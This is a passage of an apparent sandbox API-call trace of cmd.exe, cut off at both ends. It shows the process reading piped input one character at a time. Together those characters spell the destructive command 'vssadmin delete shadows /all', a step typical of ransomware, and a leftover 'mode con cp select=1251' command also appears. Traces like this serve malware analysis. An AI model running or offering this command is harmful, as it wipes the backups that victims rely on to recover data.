lpExitCode=0x1af078*=0x0) returned 1 [0266.192] CloseHandle (hObject=0x54) returned 1 [0266.192] _vsnwprintf (in: _Buffer=0x1af2e8, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af088 | out: _Buffer="00000000") returned 8 [0266.192] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0266.192] GetProcessHeap () returned 0x390000 [0266.192] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ab370 | out: hHeap=0x390000) returned 1 [0266.192] GetEnvironmentStringsW () returned 0x3ae9b0* [0266.192] GetProcessHeap () returned 0x390000 [0266.192] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xb22) returned 0x3af4e0 [0266.193] FreeEnvironmentStringsW (penv=0x3ae9b0) returned 1 [0266.193] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0266.193] GetProcessHeap () returned 0x390000 [0266.193] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3af4e0 | out: hHeap=0x390000) returned 1 [0266.193] GetEnvironmentStringsW () returned 0x3ae9b0* [0266.193] GetProcessHeap () returned 0x390000 [0266.193] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xb22) returned 0x3af4e0 [0266.193] FreeEnvironmentStringsW (penv=0x3ae9b0) returned 1 [0266.193] GetProcessHeap () returned 0x390000 [0266.193] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a8940 | out: hHeap=0x390000) returned 1 [0266.193] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af148 | out: lpAttributeList=0x1af148) [0266.193] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0266.193] _get_osfhandle (_FileHandle=1) returned 0xf4 [0266.193] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0266.193] _get_osfhandle (_FileHandle=1) returned 0xf4 [0266.193] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a4fe194 | out: lpMode=0x4a4fe194) returned 0 [0266.194] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.194] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a4fe198 | out: lpMode=0x4a4fe198) returned 0 [0266.194] GetConsoleOutputCP () returned 0x4e3 [0266.194] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a50bfe0 | out: lpCPInfo=0x4a50bfe0) returned 1 [0266.194] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0266.194] GetProcessHeap () returned 0x390000 [0266.194] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a9d80 | out: hHeap=0x390000) returned 1 [0266.194] GetProcessHeap () returned 0x390000 [0266.194] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a9c60 | out: hHeap=0x390000) returned 1 [0266.194] GetProcessHeap () returned 0x390000 [0266.194] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5bb0 | out: hHeap=0x390000) returned 1 [0266.194] GetProcessHeap () returned 0x390000 [0266.194] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ab310 | out: hHeap=0x390000) returned 1 [0266.194] GetProcessHeap () returned 0x390000 [0266.194] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a9900 | out: hHeap=0x390000) returned 1 [0266.194] GetProcessHeap () returned 0x390000 [0266.195] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3aaae0 | out: hHeap=0x390000) returned 1 [0266.195] GetProcessHeap () returned 0x390000 [0266.195] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a6550 | out: hHeap=0x390000) returned 1 [0266.195] GetProcessHeap () returned 0x390000 [0266.195] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a4630 | out: hHeap=0x390000) returned 1 [0266.195] GetProcessHeap () returned 0x390000 [0266.195] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a9840 | out: hHeap=0x390000) returned 1 [0266.195] _vsnwprintf (in: _Buffer=0x4a516340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af5a8 | out: _Buffer="\r\n") returned 2 [0266.195] _get_osfhandle (_FileHandle=1) returned 0xf4 [0266.195] GetFileType (hFile=0xf4) returned 0x3 [0266.195] _get_osfhandle (_FileHandle=1) returned 0xf4 [0266.195] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a50c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0266.195] WriteFile (in: hFile=0xf4, lpBuffer=0x4a50c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af578, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesWritten=0x1af578*=0x2, lpOverlapped=0x0) returned 1 [0266.195] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a4ff360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0266.195] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a50c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0266.195] _vsnwprintf (in: _Buffer=0x4a4feb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af5b8 | out: _Buffer="C:\\Windows\\system32") returned 19 [0266.195] _vsnwprintf (in: _Buffer=0x4a4feb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x1af5b8 | out: _Buffer=">") returned 1 [0266.195] _get_osfhandle (_FileHandle=1) returned 0xf4 [0266.195] GetFileType (hFile=0xf4) returned 0x3 [0266.195] _get_osfhandle (_FileHandle=1) returned 0xf4 [0266.195] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a50c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0266.195] WriteFile (in: hFile=0xf4, lpBuffer=0x4a50c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x1af5a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesWritten=0x1af5a8*=0x14, lpOverlapped=0x0) returned 1 [0266.195] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.195] GetFileType (hFile=0xe8) returned 0x3 [0266.195] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.195] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.195] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.195] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0266.195] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.195] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.196] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.196] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0266.196] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.196] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.196] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.196] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0266.196] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.196] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.196] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.196] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0266.196] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.196] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.196] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.196] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0266.196] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.196] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.196] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.196] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0266.196] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.196] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.196] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.196] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0266.196] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.196] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.196] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.196] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0266.196] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.196] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.196] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.196] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0266.196] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.196] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.196] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.196] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0266.196] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.196] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.196] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.196] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0266.196] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.196] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.196] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.196] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0266.196] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.196] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.197] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.197] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0266.197] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.197] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.197] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.197] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0266.197] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.197] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.197] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.197] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0266.197] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.197] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.197] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.197] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0266.197] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.197] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.197] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.197] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0266.197] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.197] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.197] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.197] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0266.197] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.197] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.197] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.197] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0266.197] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.197] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.197] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.197] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0266.197] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.197] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.197] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.197] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0266.197] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.197] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.197] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.197] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0266.197] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.197] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.197] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.197] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0266.197] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.197] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.197] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.198] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0266.198] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.198] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.198] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.198] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0266.198] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.198] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.198] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.198] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0266.198] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.198] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.198] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.198] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0266.198] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.198] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.198] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.198] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0266.198] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.198] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.198] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.198] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0266.198] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.198] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.198] ReadFile (in: 